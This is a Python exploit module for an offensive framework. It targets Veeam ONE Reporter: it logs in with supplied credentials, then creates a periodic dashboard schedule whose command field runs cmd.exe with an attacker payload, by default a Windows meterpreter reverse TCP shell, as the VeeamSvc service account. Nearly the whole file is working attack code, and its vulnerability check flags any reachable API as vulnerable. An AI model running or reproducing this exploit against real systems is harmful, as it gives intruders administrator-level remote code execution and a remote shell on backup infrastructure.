Veeam ONE Reporter CommandExecutor authenticated RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Veeam ONE Reporter dashboard schedule CommandExecutor RCE."""

from __future__ import annotations

import json
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Veeam ONE Reporter CommandExecutor authenticated RCE",
        "description": (
            "PowerUser+ OAuth token; dashboard schedule reportSettings.command "
            "runs as VeeamSvc (local Administrators)."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.WINDOWS,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/windows/meterpreter_reverse_tcp",
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["veeam", "one", "rce", "authenticated"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 5,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/veeam_one_commandexecutor_rce_detect"],
            },
        },
    }

    port = OptPort(1345, "Veeam ONE Reporter HTTPS port", required=True)
    ssl = OptBool(True, "Use HTTPS", required=False)
    username = OptString("", "DOMAIN\\user", required=True)
    password = OptString("", "Password", required=True)
    output_folder = OptString("C:\\Windows\\Temp", "Schedule outputFolder", required=False)

    def _token(self) -> str | None:
        from urllib.parse import urlencode

        body = urlencode(
            {
                "grant_type": "password",
                "username": str(self.username or ""),
                "password": str(self.password or ""),
                "ui_login": "true",
            }
        )
        resp = self.http_request(
            "POST",
            "/api/token",
            data=body,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
        )
        if not resp or int(resp.status_code or 0) != 200:
            return None
        try:
            return json.loads(resp.text or "{}").get("access_token")
        except json.JSONDecodeError:
            return None

    def _api(self, method: str, path: str, token: str, body: dict | None = None) -> tuple[int, str]:
        headers = {"Authorization": f"Bearer {token}", "Accept": "application/json"}
        data = json.dumps(body) if body is not None else None
        if data:
            headers["Content-Type"] = "application/json"
        resp = self.http_request(method, path, data=data, headers=headers)
        if not resp:
            return -1, "failed"
        return int(resp.status_code or 0), (resp.text or "")[:4000]

    def _dashboard_id(self, token: str) -> str | None:
        code, body = self._api("GET", "/api/v2.3/dashboards", token)
        if code == 200:
            try:
                data = json.loads(body)
                dashboards = data if isinstance(data, list) else data.get("data", data.get("dashboards", []))
                if dashboards:
                    db = dashboards[0]
                    return db.get("id") or db.get("Id") or db.get("ID")
            except json.JSONDecodeError:
                pass
        code, body = self._api(
            "POST",
            "/api/v2.3/dashboards",
            token,
            {"name": f"RCE_{int(time.time())}", "description": "rce test", "layoutDefault": 1},
        )
        if code in (200, 201):
            try:
                d = json.loads(body)
                return d.get("id") or d.get("Id")
            except json.JSONDecodeError:
                return None
        return None

    def execute(self, cmd: str) -> str:
        token = self._token()
        if not token:
            return "POST /api/token login failed"
        dbid = self._dashboard_id(token)
        if not dbid:
            return "could not obtain dashboard id"
        full_cmd = f'"C:\\Windows\\System32\\cmd.exe" /c {cmd}'
        schedule = {
            "scheduleSettings": {
                "periodically": {"interval": "Minutes", "period": 1},
                "disabled": False,
                "timeZoneId": "UTC",
                "startTime": "2026-08-16T10:00:00.000Z",
                "scheduleType": "Periodic",
            },
            "emailSettings": {"subject": "rce", "to": "", "cc": "", "bcc": ""},
            "reportSettings": {
                "command": full_cmd,
                "outputFolder": str(self.output_folder or "C:\\Windows\\Temp"),
            },
        }
        code, body = self._api("POST", f"/api/v2.3/dashboards/{dbid}/schedules", token, schedule)
        if code in (200, 201):
            return f"schedule created on dashboard {dbid}; command runs as VeeamSvc (async ~1 min)"
        return f"schedule create HTTP {code}: {body[:500]}"

    def check(self):
        resp = self.http_request("GET", "/api/token")
        if resp and int(resp.status_code or 0) < 500:
            return {"vulnerable": True, "reason": "Veeam ONE API reachable", "confidence": "low"}
        return {"vulnerable": False, "reason": "Reporter API not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False
        if not str(self.username or "").strip() or not str(self.password or "").strip():
            print_error("Set username and password")
            return False
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False
        print_status("Create periodic dashboard schedule with command")
        print_info(self.execute(shell))
        self.vulnerable()
        return True